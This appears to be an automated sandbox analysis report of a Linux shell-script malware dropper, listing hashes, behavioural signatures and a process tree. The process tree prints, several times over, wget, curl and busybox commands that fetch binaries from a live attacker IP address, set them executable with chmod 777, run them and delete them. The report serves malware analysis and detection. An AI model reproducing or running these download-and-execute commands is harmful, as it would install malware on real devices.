Analysis

  • max time kernel
    22s
  • max time network
    26s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    28/10/2024, 01:39

General

  • Target

    13f9c3ed50c26b9112e9e22469f5face1bf594623f0369925501490d0bdef040.sh

  • Size

    10KB

  • MD5

    c27e3dbba79b6afbd8c32c4e50cffe76

  • SHA1

    b2ec5ed7bd931b3a3b970e1d5d209d031219a547

  • SHA256

    13f9c3ed50c26b9112e9e22469f5face1bf594623f0369925501490d0bdef040

  • SHA512

    382804bca6a3c36dfe896726e67efbf903aede59316574bba39dd8b943f31a5caefcd2d666eb0bd1513c38a33fcde0e4d9245781648860f8c077675e5206f023

  • SSDEEP

    192:mhN4hJ8oKCm/mPmympmFmO/1JdUJh1s8hN4hJRJdUJhXm/mPmympmFmWo:eoKnue3kYO/Isrue3kYWo

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Checks CPU configuration 1 TTPs 7 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 14 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 7 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/13f9c3ed50c26b9112e9e22469f5face1bf594623f0369925501490d0bdef040.sh
    /tmp/13f9c3ed50c26b9112e9e22469f5face1bf594623f0369925501490d0bdef040.sh
    1⤵
      PID:660
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:663
        • /usr/bin/wget
          wget http://87.120.84.230/bins/xOXcb0EhgEUriloemCzxNbO7pDrV8hlUkw
          2⤵
            PID:669
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/xOXcb0EhgEUriloemCzxNbO7pDrV8hlUkw
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:677
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/xOXcb0EhgEUriloemCzxNbO7pDrV8hlUkw
            2⤵
              PID:685
            • /bin/chmod
              chmod 777 xOXcb0EhgEUriloemCzxNbO7pDrV8hlUkw
              2⤵
              • File and Directory Permissions Modification
              PID:687
            • /tmp/xOXcb0EhgEUriloemCzxNbO7pDrV8hlUkw
              ./xOXcb0EhgEUriloemCzxNbO7pDrV8hlUkw
              2⤵
              • Executes dropped EXE
              PID:689
            • /bin/rm
              rm xOXcb0EhgEUriloemCzxNbO7pDrV8hlUkw
              2⤵
                PID:690
              • /usr/bin/wget
                wget http://87.120.84.230/bins/fBl2KigufHZnmQqWghZFomThmvhAVfHNsF
                2⤵
                  PID:692
                • /usr/bin/curl
                  curl -O http://87.120.84.230/bins/fBl2KigufHZnmQqWghZFomThmvhAVfHNsF
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:695
                • /bin/busybox
                  /bin/busybox wget http://87.120.84.230/bins/fBl2KigufHZnmQqWghZFomThmvhAVfHNsF
                  2⤵
                    PID:697
                  • /bin/chmod
                    chmod 777 fBl2KigufHZnmQqWghZFomThmvhAVfHNsF
                    2⤵
                    • File and Directory Permissions Modification
                    PID:698
                  • /tmp/fBl2KigufHZnmQqWghZFomThmvhAVfHNsF
                    ./fBl2KigufHZnmQqWghZFomThmvhAVfHNsF
                    2⤵
                    • Executes dropped EXE
                    PID:699
                  • /bin/rm
                    rm fBl2KigufHZnmQqWghZFomThmvhAVfHNsF
                    2⤵
                      PID:700
                    • /usr/bin/wget
                      wget http://87.120.84.230/bins/9ekUy3pPFLPyGLw2h6RfxlOZRK2qt1lZFB
                      2⤵
                        PID:701
                      • /usr/bin/curl
                        curl -O http://87.120.84.230/bins/9ekUy3pPFLPyGLw2h6RfxlOZRK2qt1lZFB
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:702
                      • /bin/busybox
                        /bin/busybox wget http://87.120.84.230/bins/9ekUy3pPFLPyGLw2h6RfxlOZRK2qt1lZFB
                        2⤵
                          PID:709
                        • /bin/chmod
                          chmod 777 9ekUy3pPFLPyGLw2h6RfxlOZRK2qt1lZFB
                          2⤵
                          • File and Directory Permissions Modification
                          PID:718
                        • /tmp/9ekUy3pPFLPyGLw2h6RfxlOZRK2qt1lZFB
                          ./9ekUy3pPFLPyGLw2h6RfxlOZRK2qt1lZFB
                          2⤵
                          • Executes dropped EXE
                          PID:719
                        • /bin/rm
                          rm 9ekUy3pPFLPyGLw2h6RfxlOZRK2qt1lZFB
                          2⤵
                            PID:720
                          • /usr/bin/wget
                            wget http://87.120.84.230/bins/jRM4slh846TuCfMSUvIaQLCg29n4oFbP3o
                            2⤵
                              PID:722
                            • /usr/bin/curl
                              curl -O http://87.120.84.230/bins/jRM4slh846TuCfMSUvIaQLCg29n4oFbP3o
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:726
                            • /bin/busybox
                              /bin/busybox wget http://87.120.84.230/bins/jRM4slh846TuCfMSUvIaQLCg29n4oFbP3o
                              2⤵
                                PID:729
                              • /bin/chmod
                                chmod 777 jRM4slh846TuCfMSUvIaQLCg29n4oFbP3o
                                2⤵
                                • File and Directory Permissions Modification
                                PID:733
                              • /tmp/jRM4slh846TuCfMSUvIaQLCg29n4oFbP3o
                                ./jRM4slh846TuCfMSUvIaQLCg29n4oFbP3o
                                2⤵
                                • Executes dropped EXE
                                PID:734
                              • /bin/rm
                                rm jRM4slh846TuCfMSUvIaQLCg29n4oFbP3o
                                2⤵
                                  PID:736
                                • /usr/bin/wget
                                  wget http://87.120.84.230/bins/L3L3AWJWz1jZhxSYZHCvA9q8LdsOc9rGey
                                  2⤵
                                    PID:737
                                  • /usr/bin/curl
                                    curl -O http://87.120.84.230/bins/L3L3AWJWz1jZhxSYZHCvA9q8LdsOc9rGey
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:743
                                  • /bin/busybox
                                    /bin/busybox wget http://87.120.84.230/bins/L3L3AWJWz1jZhxSYZHCvA9q8LdsOc9rGey
                                    2⤵
                                      PID:748
                                    • /bin/chmod
                                      chmod 777 L3L3AWJWz1jZhxSYZHCvA9q8LdsOc9rGey
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:750
                                    • /tmp/L3L3AWJWz1jZhxSYZHCvA9q8LdsOc9rGey
                                      ./L3L3AWJWz1jZhxSYZHCvA9q8LdsOc9rGey
                                      2⤵
                                      • Executes dropped EXE
                                      PID:752
                                    • /bin/rm
                                      rm L3L3AWJWz1jZhxSYZHCvA9q8LdsOc9rGey
                                      2⤵
                                        PID:753
                                      • /usr/bin/wget
                                        wget http://87.120.84.230/bins/vlBRkxc2pXZfCqjxBIXpWIdWRcl8qgnFod
                                        2⤵
                                          PID:755
                                        • /usr/bin/curl
                                          curl -O http://87.120.84.230/bins/vlBRkxc2pXZfCqjxBIXpWIdWRcl8qgnFod
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:761
                                        • /bin/busybox
                                          /bin/busybox wget http://87.120.84.230/bins/vlBRkxc2pXZfCqjxBIXpWIdWRcl8qgnFod
                                          2⤵
                                            PID:766
                                          • /bin/chmod
                                            chmod 777 vlBRkxc2pXZfCqjxBIXpWIdWRcl8qgnFod
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:768
                                          • /tmp/vlBRkxc2pXZfCqjxBIXpWIdWRcl8qgnFod
                                            ./vlBRkxc2pXZfCqjxBIXpWIdWRcl8qgnFod
                                            2⤵
                                            • Executes dropped EXE
                                            PID:769
                                          • /bin/rm
                                            rm vlBRkxc2pXZfCqjxBIXpWIdWRcl8qgnFod
                                            2⤵
                                              PID:770
                                            • /usr/bin/wget
                                              wget http://87.120.84.230/bins/5ZJMWA4qvJDnVJiAuQPlROzRn70kAg8FpG
                                              2⤵
                                                PID:771
                                              • /usr/bin/curl
                                                curl -O http://87.120.84.230/bins/5ZJMWA4qvJDnVJiAuQPlROzRn70kAg8FpG
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:773
                                              • /bin/busybox
                                                /bin/busybox wget http://87.120.84.230/bins/5ZJMWA4qvJDnVJiAuQPlROzRn70kAg8FpG
                                                2⤵
                                                  PID:774
                                                • /bin/chmod
                                                  chmod 777 5ZJMWA4qvJDnVJiAuQPlROzRn70kAg8FpG
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:775
                                                • /tmp/5ZJMWA4qvJDnVJiAuQPlROzRn70kAg8FpG
                                                  ./5ZJMWA4qvJDnVJiAuQPlROzRn70kAg8FpG
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:776
                                                • /bin/rm
                                                  rm 5ZJMWA4qvJDnVJiAuQPlROzRn70kAg8FpG
                                                  2⤵
                                                    PID:777
                                                  • /usr/bin/wget
                                                    wget http://87.120.84.230/bins/2ffYLp5CKNrI7Xt5HXl6mWqJj4hneNkta4
                                                    2⤵
                                                      PID:778

                                                  Network

                                                  MITRE ATT&CK Enterprise v15

                                                  Replay Monitor

                                                  Loading Replay Monitor...

                                                  Downloads

                                                  • /tmp/xOXcb0EhgEUriloemCzxNbO7pDrV8hlUkw

                                                    Filesize

                                                    153B

                                                    MD5

                                                    998368d7c95ea4293237f2320546e440

                                                    SHA1

                                                    30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

                                                    SHA256

                                                    533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

                                                    SHA512

                                                    648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97